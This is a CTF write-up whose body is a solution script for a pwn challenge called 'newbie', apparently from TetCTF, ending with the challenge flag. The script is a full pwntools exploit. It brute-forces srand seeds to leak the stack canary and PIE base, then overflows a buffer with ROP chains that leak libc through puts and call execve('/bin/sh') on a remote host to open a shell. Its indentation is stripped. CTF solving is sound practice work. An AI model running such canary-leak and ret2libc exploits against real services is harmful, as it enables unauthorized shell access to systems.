Tags: pie srand leak ret2libc canary 

Rating:

solution script
```
python solve.py 1 0
```

```py
from pwn import *
context.log_level="debug"
context.terminal = ["tmux", "splitw", "-h","-p","60"]

elf = ELF("./newbie",checksec=False)
context.arch=elf.arch

gdb_script = """
#b *main
#read srandbuf
#b *0x555555400CE2

#stackcheck
#b *0x555555400DB7

#ret
b *0x555555400DCE

#srand
b *0x555555400D71
b *0x555555400BE9

c
"""
import sys

is_server=int(sys.argv[1])
is_gdb=int(sys.argv[2])
if is_server:
is_gdb=0
LIBC_PATH="./libc-2.27.so"
p = remote("18.220.157.154", 31337)
elif is_gdb and not is_server:
LIBC_PATH="/lib/x86_64-linux-gnu/libc.so.6"
p = elf.process(aslr=False)
else:
LIBC_PATH="/lib/x86_64-linux-gnu/libc.so.6"
p = elf.process(aslr=True)

def send_id(idx):
p.recvuntil("> ")
p.sendline(f"id {idx}")

def create():
p.recvuntil("> ")
p.sendline(f"create")
p.recvuntil("Your key: ")
return p.recvline().strip().decode()

from ctypes import CDLL
aAbcdefghijklmn = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
libc = CDLL(LIBC_PATH)
def create_key_imp(srand_i16):
key = ["\x00"]*32
libc.srand(srand_i16)
for i in range(32):
key[i] = aAbcdefghijklmn[libc.rand()%62]
return ''.join(key)

def reverse_create_key(key):
for i in range(0,0xffffffff):
if key==create_key_imp(i):
return i
print(key)
print("HATA")
exit(0)
def leak_from_array(idx):
context.log_level="info"
send_id(idx)
created_key = create()
context.log_level="debug"
reversed_key = reverse_create_key(created_key)
return reversed_key

def leak_64(idx):
leak=[]
leak.append(leak_from_array(idx+3))
leak.append(leak_from_array(idx+2))
leak.append(leak_from_array(idx+1))
leak.append(leak_from_array(idx))
return int( (''.join([hex(i) for i in leak]).replace('0x','')),16)

#gdb.attach(p)
if is_gdb:
gdb.attach(p,gdb_script)
send_id(0)
create()
pause()

canary_leak = leak_64(49)
print("CANARY LEAK",hex(canary_leak))

elf_leak = leak_64(29)
print("ELF LEAK",hex(elf_leak))
elf.address = elf_leak - 0xf26
elf.address *=0x10
print("elf.address",hex(elf.address))
#gdb.attach(p)

canary_offset= cyclic_find("avaa")
bof_offset= cyclic_find("caaa")
rop = ROP(elf)
rop.puts(elf.got["puts"])
rop.call(elf.address+0xC96)
payload= b"quit "
payload+= canary_offset*b"C"
payload+= p64(canary_leak)
payload+= bof_offset*b"D"
payload+= rop.chain()
p.clean()
p.sendline(payload)

recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, b"\x00"))
log.success("puts: "+ str(hex(leak)))

libc = ELF(LIBC_PATH)
libc.address = leak - libc.symbols["puts"]

rop2 = ROP(libc)
BINSH = next(libc.search(b"/bin/sh\x00"))
rop2.execve(BINSH,0,0)

payload= b"quit "
payload+= canary_offset*b"C"
payload+= p64(canary_leak)
payload+= bof_offset*b"D"
payload+= rop2.chain()
p.clean()
p.sendline(payload)

p.interactive()
#TetCTF{Challenge_f0r_n3wbie_Akwpa}
```